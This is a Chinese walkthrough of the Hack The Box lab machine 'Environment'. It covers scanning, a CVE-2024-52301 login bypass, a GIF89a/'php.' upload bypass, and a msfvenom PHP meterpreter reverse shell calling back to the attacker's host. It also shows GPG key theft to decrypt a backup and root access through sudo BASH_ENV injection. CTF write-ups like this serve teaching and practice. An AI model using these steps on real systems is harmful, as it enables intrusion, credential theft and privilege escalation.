
信息收集
nmap
nmap --min-rate 10000 -A -p- 10.10.11.67
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)| ssh-hostkey: | 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)80/tcp open http nginx 1.22.1|_http-title: Did not follow redirect to http://environment.htb|_http-server-header: nginx/1.22.1
dirsearch
dirsearch -u http://environment.htb/
$ dirsearch -u http://environment.htb/ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25Wordlist size: 11460Output File: /home/yefeng/桌面/HTB/environment/reports/http_environment.htb/__25-05-05_22-26-45.txtTarget: http://environment.htb/[22:26:45] Starting: [22:26:48] 403 - 555B - /%2e%2e;/test[22:27:07] 403 - 555B - /admin/.config[22:27:18] 403 - 555B - /admpar/.ftppass[22:27:18] 403 - 555B - /admrev/.ftppass[22:27:25] 403 - 555B - /bitrix/.settings[22:27:25] 403 - 555B - /bitrix/.settings.bak[22:27:25] 403 - 555B - /bitrix/.settings.php.bak[22:27:26] 301 - 169B - /build -> http://environment.htb/build/[22:27:26] 403 - 555B - /build/[22:27:38] 403 - 555B - /ext/.deps[22:27:39] 200 - 0B - /favicon.ico[22:27:45] 200 - 2KB - /index.php/login/[22:27:49] 403 - 555B - /lib/flex/varien/.settings[22:27:49] 403 - 555B - /lib/flex/uploader/.project[22:27:49] 403 - 555B - /lib/flex/varien/.project[22:27:49] 403 - 555B - /lib/flex/uploader/.actionScriptProperties[22:27:49] 403 - 555B - /lib/flex/varien/.actionScriptProperties[22:27:49] 403 - 555B - /lib/flex/uploader/.settings[22:27:49] 403 - 555B - /lib/flex/varien/.flexLibProperties[22:27:49] 403 - 555B - /lib/flex/uploader/.flexProperties[22:27:50] 200 - 2KB - /login[22:27:50] 200 - 2KB - /login/[22:27:51] 302 - 358B - /logout -> http://environment.htb/login[22:27:51] 302 - 358B - /logout/ -> http://environment.htb/login[22:27:52] 403 - 555B - /mailer/.env[22:28:08] 403 - 555B - /resources/.arch-internal-preview.css[22:28:08] 403 - 555B - /resources/sass/.sass-cache/[22:28:09] 200 - 24B - /robots.txt[22:28:15] 301 - 169B - /storage -> http://environment.htb/storage/[22:28:15] 403 - 555B - /storage/[22:28:20] 403 - 555B - /twitter/.env[22:28:21] 405 - 245KB - /upload/[22:28:21] 405 - 245KB - /upload[22:28:23] 403 - 555B - /vendor/
访问web目录
/upload
-> 报错 -> 暴露版本信息
谷歌可以搜索相关cve
login &CVE-2024-52301
访问/login,输入账号和密码,burp抓包
这里存在一个问题,如果去掉environment参数时,会泄露出现报错信息相关代码
寻找看看有没有什么有用的代码
发现这里
$keep_loggedin = False; } elseif ($remember == 'True') { $keep_loggedin = True; }
没有else,也就是说如果$remember 既不等于 True 也不等于 False 会发生什么?
依然报错,这回我看到了下面的environment
环境
因为之前我就搜过wp,尝试过 CVE-2024-52301 就是与环境变量相关的,但是注入的--env=
的几个值都没有作用
看到了这里的preprod
,尝试这个值
看后面的,如果 ==preprod
,重新生成会话,user_id=1,重定向到/management/dashboard
-> 这不是后台管理页面嘛
CVE-2024-52301
https://github.com/Nyamort/CVE-2024-52301
进入后台,功能点
-
邮箱清单 -
个人资料 -> 上传文件 -
退出登录
上传文件
绕过手段 - GIF89A混淆 和 php.
这里可以上传php别名,但是配置没问题( 会直接下载 )
msf
通过msf上传反弹shell木马 进行回连
# 通过msfvenom生成木马文件msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.76 LPORT=4444 -f raw > shell.php# msf控制台msfconsole# 设置监听器use exploit/multi/handlerset PAYLOAD php/meterpreter_reverse_tcpset LHOST 10.10.16.76set LPORT 4444set ExitOnSession falseexploit -j
msf6 exploit(multi/handler) > sessions -i 1meterpreter > shellProcess 13786 created.Channel 0 created.whoamiwww-datapython3 -c 'import pty; pty.spawn("/bin/bash")'www-data@environment:~/app/storage/app/public/files$ cd ~cd ~www-data@environment:/home/hish$ cat user.txtcat user.txtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ssh -> hish
发现backup文件夹下有一个gpg文件,解密它需要私钥
www-data@environment:/home/hish/backup$ lslskeyvault.gpg
检查当前系统中存储的私钥gpg --list-secret-keys
但是没有权限去创建文件夹
www-data@environment:/home/hish/.gnupg$ gpg --list-secret-keysgpg --list-secret-keysgpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
所以将该文件夹复制出来
www-data@environment:/home/hish$ cp -r /home/hish/.gnupg /tmp/gnupgwww-data@environment:/home/hish$ gpg --homedir /tmp/gnupg --list-secret-keysgpg --homedir /tmp/gnupg --list-secret-keysgpg: WARNING: unsafe permissions on homedir '/tmp/gnupg'/tmp/gnupg/pubring.kbx----------------------sec rsa2048 2025-01-11 [SC] F45830DFB638E66CD8B752A012F42AE5117FFD8Euid [ultimate] hish_ <[email protected]>ssb rsa2048 2025-01-11 [E]www-data@environment:/home/hish$ chmod 700 /tmp/gnupg -> 消除警告解密www-data@environment:/home/hish$ gpg --homedir /tmp/gnupg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg<essage.txt --decrypt /home/hish/backup/keyvault.gpggpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11 "hish_ <[email protected]>"
提权
sudo执行systeminfo无需密码
配合这个环境变量保留进行环境变量注入 env_keep+="ENV BASH_ENV"
让
sudo
命令在执行时保留名为ENV
和BASH_ENV
的两个环境变量。
echo "bash -p" > exp.shchmod +x exp.shhish@environment:~$ export BASH_ENV=./exp.shhish@environment:~$ sudo /usr/bin/systeminfo
总结: 80端口:目录扫描 -> /upload => 版本信息 /login -> 测试 -> 环境变量 -> CVE -> 后台 后台 -> 文件上传 -> GIF89A标识 + php. 绕过 msf反弹shell 提权: gpg配合私钥解密 -> sshTohish -> 环境变量注入 配合 sudo -l
原文始发于微信公众号(夜风Sec):HTB Environment 渗透测试全流程:信息收集到提权完整实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论